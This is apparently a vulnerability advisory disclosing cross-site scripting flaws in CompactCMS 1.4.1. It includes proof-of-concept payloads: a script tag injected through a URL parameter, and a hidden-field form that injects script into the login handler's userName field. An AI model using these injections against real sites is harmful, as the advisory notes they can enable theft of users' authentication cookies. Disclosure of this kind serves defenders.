source: https://www.securityfocus.com/bid/44949/info

CompactCMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attacker-supplied script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

CompactCMS 1.4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/?a="><script>alert("XSS");</script>
<form action="http://www.example.com/lib/includes/auth.inc.php" method="post" name="main" >
<input type="hidden" name="userName" value="123&#34;><script>alert(&#34;XSS&#34;);</script>" />
<input type="hidden" name="userPass" value="123" />
<input type="submit" value="Submit" name="submit" />
</form>